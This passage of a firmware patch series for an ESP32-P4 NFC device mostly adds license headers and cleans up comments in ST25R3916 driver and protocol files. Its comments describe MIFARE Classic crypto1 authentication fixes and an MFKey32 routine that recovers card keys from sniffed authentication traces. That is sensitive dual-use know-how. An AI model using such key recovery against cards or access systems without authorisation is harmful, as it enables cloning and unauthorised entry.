swap before/after PRNG computation. - * New: SWAPENDIAN(x) before and after, matching Flipper/proxmark3. - * Impact: ar and at values completely wrong card rejects authentication. - * - * 4. AUTH ar: LFSR FED PLAINTEXT INSTEAD OF 0 - * Old: mf_classic_transceive_raw encrypted nr+ar together, feeding all plaintext bits. - * New: nr is fed as plaintext (correct), ar is encrypted with LFSR free-running (feed 0). - * Impact: LFSR desynced after nr ar ciphertext wrong card rejects auth. - * - * 5. AUTH at EXPECTED VALUE COMPUTED FROM nr - * Old: at_expected = prng_successor(nr, 64) WRONG! - * New: at_expected = prng_successor(nt, 96) correct per MF Classic protocol. - * Impact: valid card responses were flagged as auth failures. - * - * 6. PARITY BIT ADVANCED THE LFSR - * Old: crypto1_bit(st, parity, 0) clocked the LFSR 9 per byte. - * New: crypto1_filter_output() reads the 9th keystream bit WITHOUT advancing. - * LFSR clocks exactly 8 per byte (only for data bits). - * Impact: after the first byte, the keystream was off by 1 bit per byte, - * accumulating all subsequent data was garbage. - * - * 7. ENCRYPTED EXCHANGE FED PLAINTEXT INTO LFSR - * Old: RX decrypt used crypto1_bit(st, enc, 1) which feeds the ciphertext into LFSR. - * New: RX decrypt uses crypto1_byte(st, 0, 0) ciphertext free-running LFSR. - * Impact: data exchange LFSR state diverged from card all block reads failed. - */ #include "mf_classic.h" #include @@ -1173,7 +1129,7 @@ int mful_read_all(uint8_t* data, int max_pages) /* * MFKey32 - MIFARE Classic key recovery from two sniffed auth traces. * - * Algorithm (proxmark3 / Flipper Zero compatible): + * Algorithm: * * Parameters: * uid - Card UID (4 bytes, big-endian uint32) @@ -1182,13 +1138,13 @@ int mful_read_all(uint8_t* data, int max_pages) * ar0, ar1 - ENCRYPTED reader responses ({prng(nt,64)}^ks2, as seen on wire) * key - Output: 48-bit key (MSB in lower 48 bits of uint64) * - * Key insight: rollback_word(s, nr_enc, fb=1) ≡ rollback_word(s, nr_plain, fb=0) + * Key insight: rollback_word(s, nr_enc, fb=1) == rollback_word(s, nr_plain, fb=0) * because: ks_bit ^ nr_enc_bit = ks_bit ^ (nr_plain ^ ks_bit) = nr_plain. * This allows rollback without knowing the plaintext reader nonce. * * Complexity: O(2^24) candidate generation + O(2^16) cross-verification. * Memory: ~32 KB for candidate lists (heap). - * Time: ~2–10 s on ESP32-P4. + * Time: ~2-10 s on ESP32-P4. */ #include "mfkey.h" #include "crypto1.h" @@ -1270,8 +1226,8 @@ static uint32_t mk_simulate_ks(crypto1_state_t s) * clock 1,3,5,... (odd-indexed) are driven by the EVEN half's evolution * * Approximation: ignore parity coupling between halves (treat shift as pure). - * For the ODD half: clock 2k ≈ f(O << k) (k=0..15) - * For the EVEN half: clock 2k+1 ≈ f(E << (k+1)) (k=0..15) + * For the ODD half: clock 2k ~= f(O << k) (k=0..15) + * For the EVEN half: clock 2k+1 ~= f(E << (k+1)) (k=0..15) * * With 16 approximate constraints on a 24-bit value: ~2^8 = 256 candidates. * We double the candidate set (flip each approx parity) to reduce false negatives. @@ -1345,7 +1301,7 @@ bool mfkey32(uint32_t uid, uint32_t nt0, uint32_t nr0, uint32_t ar0, /* * Rollback to recover key: * 1. Undo 32 free-running clocks (ks2 generation, no input). - * 2. Undo nr loading: rollback_word(nr_enc, fb=1) ≡ + * 2. Undo nr loading: rollback_word(nr_enc, fb=1) == * rollback_word(nr_plain, fb=0) because the filter output * cancels the ks1 term algebraically. * 3. Undo uid^nt priming (plaintext, fb=0). diff --git a/firmware_p4/components/Applications/nfc/protocols/t1t/include/t1t.h b/firmware_p4/components/Applications/nfc/protocols/t1t/include/t1t.h index 9ef23536..e1afc53a 100644 --- a/firmware_p4/components/Applications/nfc/protocols/t1t/include/t1t.h +++ b/firmware_p4/components/Applications/nfc/protocols/t1t/include/t1t.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file t1t.h * @brief NFC Forum Type 1 Tag (Topaz) commands. diff --git a/firmware_p4/components/Applications/nfc/protocols/t1t/t1t.c b/firmware_p4/components/Applications/nfc/protocols/t1t/t1t.c index 11bd00db..7c017a8c 100644 --- a/firmware_p4/components/Applications/nfc/protocols/t1t/t1t.c +++ b/firmware_p4/components/Applications/nfc/protocols/t1t/t1t.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file t1t.c * @brief NFC Forum Type 1 Tag (Topaz) protocol (Phase 4). diff --git a/firmware_p4/components/Applications/nfc/protocols/t2t/include/t2t_emu.h b/firmware_p4/components/Applications/nfc/protocols/t2t/include/t2t_emu.h index 2719589f..63463dec 100644 --- a/firmware_p4/components/Applications/nfc/protocols/t2t/include/t2t_emu.h +++ b/firmware_p4/components/Applications/nfc/protocols/t2t/include/t2t_emu.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file t2t_emu.h * @brief NFC-A Type 2 Tag (T2T) Emulation ST25R3916 diff --git a/firmware_p4/components/Applications/nfc/protocols/t2t/t2t_emu.c b/firmware_p4/components/Applications/nfc/protocols/t2t/t2t_emu.c index 6c8b6cca..4d738691 100644 --- a/firmware_p4/components/Applications/nfc/protocols/t2t/t2t_emu.c +++ b/firmware_p4/components/Applications/nfc/protocols/t2t/t2t_emu.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file t2t_emu.c * @brief NFC-A Type 2 Tag (T2T) emulation for ST25R3916. diff --git a/firmware_p4/components/Drivers/st25r3916/hal/hb_nfc_hal.c b/firmware_p4/components/Drivers/st25r3916/hal/hb_nfc_hal.c index 3905c80f..4f824c5b 100644 --- a/firmware_p4/components/Drivers/st25r3916/hal/hb_nfc_hal.c +++ b/firmware_p4/components/Drivers/st25r3916/hal/hb_nfc_hal.c @@ -1,4 +1,16 @@ - +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * [FIX-v3] Replaced spi_device_queue_trans + spi_device_get_trans_result * with spi_device_transmit (blocking, atomic). diff --git a/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_gpio.h b/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_gpio.h index 5979d979..8e198240 100644 --- a/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_gpio.h +++ b/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_gpio.h @@ -1,9 +1,19 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file hb_nfc_gpio.h * @brief HAL GPIO IRQ pin monitoring. - * - * The working code uses GPIO polling (not ISR) for IRQ. - * We provide both: polling (proven) and ISR (optional upgrade). */ #ifndef HB_NFC_GPIO_H #define HB_NFC_GPIO_H @@ -15,7 +25,7 @@ hb_nfc_err_t hb_gpio_init(int pin_irq); void hb_gpio_deinit(void); -/** Read IRQ pin level directly (0 or 1). Proven approach. */ +/** Read IRQ pin level directly (0 or 1). */ int hb_gpio_irq_level(void); /** Wait for IRQ pin high with timeout (ms). Returns true if IRQ seen. */ diff --git a/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_spi.h b/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_spi.h index 4483c19f..cd5c67ce 100644 --- a/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_spi.h +++ b/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_spi.h @@ -1,8 +1,21 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file hb_nfc_spi.h * @brief HAL SPI register/FIFO/command access for ST25R3916. * - * SPI protocol (proven from working code): + * SPI protocol: * Read: TX [0x40 | addr] [0x00] data in RX[1] * Write: TX [addr & 0x3F] [data] * FIFO LD: TX [0x80] [data...] diff --git a/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_timer.h b/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_timer.h index 6793f4d5..8ade3244 100644 --- a/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_timer.h +++ b/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_timer.h @@ -1,16 +1,26 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file hb_nfc_timer.h * @brief HAL Timer delay utilities. - * - * The working code uses esp_rom_delay_us() for all timing. - * We wrap it for portability. */ #ifndef HB_NFC_TIMER_H #define HB_NFC_TIMER_H #include -/** Busy-wait delay in microseconds. Uses ROM function (proven). */ +/** Busy-wait delay in microseconds. */ void hb_delay_us(uint32_t us); /** Busy-wait delay in milliseconds. */ diff --git a/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc.h b/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc.h index 7c823948..a5075b91 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc.h +++ b/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file highboy_nfc.h * @brief High Boy NFC Library Public API. diff --git a/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_error.h b/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_error.h index a5fc1875..300268ac 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_error.h +++ b/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_error.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file highboy_nfc_error.h * @brief High Boy NFC Error codes. diff --git a/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_types.h b/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_types.h index df19884c..47ab8bc5 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_types.h +++ b/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_types.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file highboy_nfc_types.h * @brief High Boy NFC Shared data types. diff --git a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_aat.h b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_aat.h index c6295870..dcfd6c5d 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_aat.h +++ b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_aat.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file st25r3916_aat.h * @brief ST25R3916 Automatic Antenna Tuning (Phase 4). diff --git a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_cmd.h b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_cmd.h index b3e92bf9..77285d8a 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_cmd.h +++ b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_cmd.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file st25r3916_cmd.h * @brief ST25R3916 Direct Commands. diff --git a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_core.h b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_core.h index a5ad07ed..2b396faa 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_core.h +++ b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_core.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file st25r3916_core.h * @brief ST25R3916 Core init, reset, field, mode. diff --git a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_fifo.h b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_fifo.h index 197bc294..40ad1956 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_fifo.h +++ b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_fifo.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file st25r3916_fifo.h * @brief ST25R3916 FIFO load, read, count, TX byte setup. @@ -22,9 +35,7 @@ hb_nfc_err_t st25r_fifo_load(const uint8_t* data, size_t len); hb_nfc_err_t st25r_fifo_read(uint8_t* data, size_t len); /** - * Set TX byte/bit count exact logic from working code: - * REG_NUM_TX_BYTES1 = (nbytes >> 5) & 0xFF - * REG_NUM_TX_BYTES2 = ((nbytes & 0x1F) << 3) | (nbtx_bits & 0x07) + * Set TX byte and bit count registers. */ void st25r_set_tx_bytes(uint16_t nbytes, uint8_t nbtx_bits); diff --git a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_irq.h b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_irq.h index b2f90a0f..9dee2f54 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_irq.h +++ b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_irq.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file st25r3916_irq.h * @brief ST25R3916 IRQ read/clear/log interrupt status. @@ -25,8 +38,7 @@ st25r_irq_status_t st25r_irq_read(void); void st25r_irq_log(const char* ctx, uint16_t fifo_count); /** - * Wait for TX end (bit 3 of MAIN_INT) exact logic from working code: - * Poll every 50us, max 400 iterations = 20ms timeout. + * Wait for TX end with a bounded timeout. */ bool st25r_irq_wait_txe(void); diff --git a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_reg.h b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_reg.h index e78aaced..f152d0a7 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_reg.h +++ b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_reg.h @@ -1,10 +1,19 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file st25r3916_reg.h * @brief ST25R3916 Register Map. - * - * All addresses verified against the working code that - * successfully reads IC Identity = 0x15 and communicates - * with ISO14443A cards. */ #ifndef ST25R3916_REG_H #define ST25R3916_REG_H @@ -101,7 +110,7 @@ #define IC_TYPE_SHIFT 3 #define IC_REV_MASK 0x07 -/* IC type observed on ST25R3916 hardware (IC_IDENTITY = 0x15 → type = 0x02). +/* IC type observed on ST25R3916 hardware (IC_IDENTITY = 0x15 -> type = 0x02). * ST25R3916B returns a different type and uses a different command table. */ #define ST25R3916_IC_TYPE_EXP 0x02 diff --git a/firmware_p4/components/Drivers/st25r3916/st25r3916_aat.c b/firmware_p4/components/Drivers/st25r3916/st25r3916_aat.c index 02991fdf..2e735def 100644 --- a/firmware_p4/components/Drivers/st25r3916/st25r3916_aat.c +++ b/firmware_p4/components/Drivers/st25r3916/st25r3916_aat.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file st25r3916_aat.c * @brief ST25R3916 Antenna Auto-Tuning: 2-pass sweep + NVS cache. diff --git a/firmware_p4/components/Drivers/st25r3916/st25r3916_core.c b/firmware_p4/components/Drivers/st25r3916/st25r3916_core.c index be3c8b4d..ae03eaa4 100644 --- a/firmware_p4/components/Drivers/st25r3916/st25r3916_core.c +++ b/firmware_p4/components/Drivers/st25r3916/st25r3916_core.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file st25r3916_core.c * @brief ST25R3916 core: init, field control, mode, diagnostics. @@ -43,7 +56,7 @@ hb_nfc_err_t st25r_init(const highboy_nfc_config_t* cfg) hb_spi_direct_cmd(CMD_SET_DEFAULT); /* Wait for oscillator ready (REG_MAIN_INT bit 7 = IRQ_MAIN_OSC). - * Datasheet §8.1: OSC stabilises in ~1ms typical, 5ms worst case. + * Datasheet Sec. 8.1: OSC stabilises in ~1ms typical, 5ms worst case. * Poll up to 10ms before giving up (blind wait is not reliable on cold PCBs). */ { int osc_ok = 0; @@ -54,7 +67,7 @@ hb_nfc_err_t st25r_init(const highboy_nfc_config_t* cfg) hb_delay_us(100); } if (!osc_ok) { - ESP_LOGW(TAG, "OSC ready timeout — continuing anyway"); + ESP_LOGW(TAG, "OSC ready timeout - continuing anyway"); } } @@ -67,7 +80,7 @@ hb_nfc_err_t st25r_init(const highboy_nfc_config_t* cfg) return err; } - /* Calibrate internal regulator and TX driver (datasheet §8.1.3). + /* Calibrate internal regulator and TX driver (datasheet Sec. 8.1.3). * Must be done after oscillator is stable and before RF field is enabled. */ hb_spi_direct_cmd(CMD_ADJUST_REGULATORS); hb_delay_ms(6); /* 6ms for regulator settling */ @@ -102,7 +115,7 @@ hb_nfc_err_t st25r_check_id(uint8_t* id, uint8_t* type, uint8_t* rev) if (err != HB_NFC_OK) return HB_NFC_ERR_CHIP_ID; if (val == 0x00 || val == 0xFF) { - ESP_LOGE(TAG, "Bad IC ID 0x%02X — check SPI wiring!", val); + ESP_LOGE(TAG, "Bad IC ID 0x%02X - check SPI wiring!", val); return HB_NFC_ERR_CHIP_ID; } @@ -110,9 +123,9 @@ hb_nfc_err_t st25r_check_id(uint8_t* id, uint8_t* type, uint8_t* rev) uint8_t ic_rev = val & 0x07; if (ic_type != ST25R3916_IC_TYPE_EXP) { - /* ST25R3916B (or unknown variant) — command table may differ. */ + /* ST25R3916B (or unknown variant) - command table may differ. */ ESP_LOGW(TAG, "Unexpected IC type 0x%02X (expected 0x%02X): " - "may be ST25R3916B — verify command codes", + "may be ST25R3916B - verify command codes", ic_type, ST25R3916_IC_TYPE_EXP); } @@ -202,7 +215,7 @@ hb_nfc_err_t highboy_nfc_init(const highboy_nfc_config_t* config) (void)hb_spi_reg_write(REG_FIELD_THRESH_ACT, FIELD_THRESH_ACT_TRG); (void)hb_spi_reg_write(REG_FIELD_THRESH_DEACT, FIELD_THRESH_DEACT_TRG); - /* Mask timer IRQs — poller never uses the NFC timer, so these would + /* Mask timer IRQs - poller never uses the NFC timer, so these would * only cause spurious GPIO wake-ups during st25r_irq_wait_txe. */ (void)hb_spi_reg_write(REG_MASK_TIMER_NFC_INT, 0xFF); diff --git a/firmware_p4/components/Drivers/st25r3916/st25r3916_fifo.c b/firmware_p4/components/Drivers/st25r3916/st25r3916_fifo.c index 81cd7791..b2bb8221 100644 --- a/firmware_p4/components/Drivers/st25r3916/st25r3916_fifo.c +++ b/firmware_p4/components/Drivers/st25r3916/st25r3916_fifo.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file st25r3916_fifo.c * @brief ST25R3916 FIFO control and TX byte count setup. diff --git a/firmware_p4/components/Drivers/st25r3916/st25r3916_irq.c b/firmware_p4/components/Drivers/st25r3916/st25r3916_irq.c index 01087ec9..47f0b0aa 100644 --- a/firmware_p4/components/Drivers/st25r3916/st25r3916_irq.c +++ b/firmware_p4/components/Drivers/st25r3916/st25r3916_irq.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file st25r3916_irq.c * @brief ST25R3916 interrupt status read and TX-end wait. @@ -47,12 +60,12 @@ bool st25r_irq_wait_txe(void) * If the IRQ was caused by something other than TXE (e.g. a field event), * keep waiting up to 20ms total. * - * 10 µs poll interval (not 1 ms): in MIFARE Classic emulation, the reader - * responds with {NR}{AR} starting ~87 µs after NT's last bit. With 1 ms + * 10 us poll interval (not 1 ms): in MIFARE Classic emulation, the reader + * responds with {NR}{AR} starting ~87 us after NT's last bit. With 1 ms * polls, TXE detection is delayed ~1 ms past the actual event; by then the * reader's {NR}{AR} has arrived, and by the time we read it the reader has * timed out waiting for AT and restarted the protocol, clearing the FIFO. - * 10 µs polls detect TXE within ~10 µs, leaving plenty of margin. */ + * 10 us polls detect TXE within ~10 us, leaving plenty of margin. */ for (int i = 0; i < 2000; i++) { if (hb_gpio_irq_level()) { st25r_irq_status_t s = st25r_irq_read(); @@ -61,7 +74,7 @@ bool st25r_irq_wait_txe(void) ESP_LOGW(TAG, "TX error: ERR=0x%02X", s.error); return false; } - /* Some other IRQ (field detect, etc.) — keep waiting. */ + /* Some other IRQ (field detect, etc.) - keep waiting. */ } hb_delay_us(10); } From 85753cab5dbc8713a848ef35a295aa7d9ccde1fb Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Thu, 19 Mar 2026 11:48:01 -0300 Subject: [PATCH 60/61] fix(ota): removed old load_version_from_assets(), i forget to removed, now we use sync_version_to_assets --- firmware_p4/components/Service/ota/ota_service.c | 4 ---- 1 file changed, 4 deletions(-) diff --git a/firmware_p4/components/Service/ota/ota_service.c b/firmware_p4/components/Service/ota/ota_service.c index 44c85a9f..985dcc20 100644 --- a/firmware_p4/components/Service/ota/ota_service.c +++ b/firmware_p4/components/Service/ota/ota_service.c @@ -18,7 +18,6 @@ #include "storage_assets.h" #include "sd_card_init.h" #include "esp_ota_ops.h" -#include "esp_app_format.h" #include "esp_log.h" #include "esp_system.h" #include "cJSON.h" @@ -234,9 +233,6 @@ esp_err_t ota_post_boot_check(void) { ESP_LOGI(TAG, "Running from partition: %s (addr=0x%lx)", running->label, (long)running->address); - // Load version info - load_version_from_assets(); - // Check if this is a pending OTA that needs confirmation esp_ota_img_states_t ota_state; esp_err_t ret = esp_ota_get_state_partition(running, &ota_state); From 6d4113183f33ddbbdc28a282316bceb589a9c018 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Thu, 19 Mar 2026 11:50:05 -0300 Subject: [PATCH 61/61] fix(git_actions): limit header increased to 200 char --- commitlint.config.js | 1 + 1 file changed, 1 insertion(+) diff --git a/commitlint.config.js b/commitlint.config.js index 8b78b8bd..7da37b22 100644 --- a/commitlint.config.js +++ b/commitlint.config.js @@ -8,5 +8,6 @@ module.exports = { ]], 'scope-case': [0], 'subject-case': [0], + 'header-max-length': [2, 'always', 200], }, };